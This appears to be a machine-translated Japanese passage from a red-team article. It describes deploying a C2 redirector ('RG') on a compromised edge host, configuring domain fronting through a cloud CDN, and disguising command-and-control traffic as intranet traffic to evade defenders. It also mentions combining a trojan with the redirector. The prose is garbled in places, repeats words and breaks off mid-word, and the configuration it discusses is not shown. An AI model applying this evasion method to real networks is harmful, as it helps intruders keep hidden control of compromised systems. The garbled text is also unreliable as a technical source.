管理プロセス中にエッジホストを削除すると、シェルアクセス許可を引き継いだと仮定すると、このサーバーにフロントエンドノードとしてRGを展開します（実際のシナリオでは、構成ファイルはプログラムでハードコーディングされます。トロイの木馬とRGでさえ、同じプログラムに結合されます） 。
構成ファイルは次のとおりです。
特定の構成については、主に矢印に焦点を当てます。上の矢印1は、イントラネットホストとエッジノードの間の相互作用のホストドメイン名です。ターゲットユニットの特定のシナリオに従って、関連するイントラネットドメイン名を設定することをお勧めします。イントラネットイントラネットドメイン名に関する2つのホスト間のトラフィックの相互作用を想像してください。 BTには、インタラクティブなトラフィックを直接遮断する勇気がありますか？もちろん、彼らが悪意のあるインタラクティブなトラフィックであると判断できる場合。矢印2は、従来のドメインフロントエンドの設定を指します。このキー値ペアは、オンラインホストに対応し、値はプロキシアドレスに対応します。ここでは、同じCDNメーカーを使用して任意のHTTPSドメイン名に設定できます（CDNノードIPも問題ありません。HTTP（s）：//プロトコルを忘れないでください）。
EdgeHostは、クラウドサービスプロバイダーのドメインフロントエンドで使用されるドメイン名です。これは、CDNノードを介してC2と対話するときにRG Edgeノードで使用されるドメイン名でもあります。はい、RGは正当な要求のホストドメイン名を変更し、正常に通信できるクラウドサービスCDNドメイン名に変更します。
Edgetargetはイントラネットインタラクションのドメイン名であり、矢印1と同じである必要があります。ここで設定されたドメイン名によって要求されるトラフィックのみが正当であると見なされ、RGは後続のクラウドサービスCDNドメイン名にさらに変更されますコミュニケーション。
ここで要約してください：
つまり、イントラネットのエッジノードとホストの間の相互作用は、セットイントラネットドメイン名を使用します。だれ
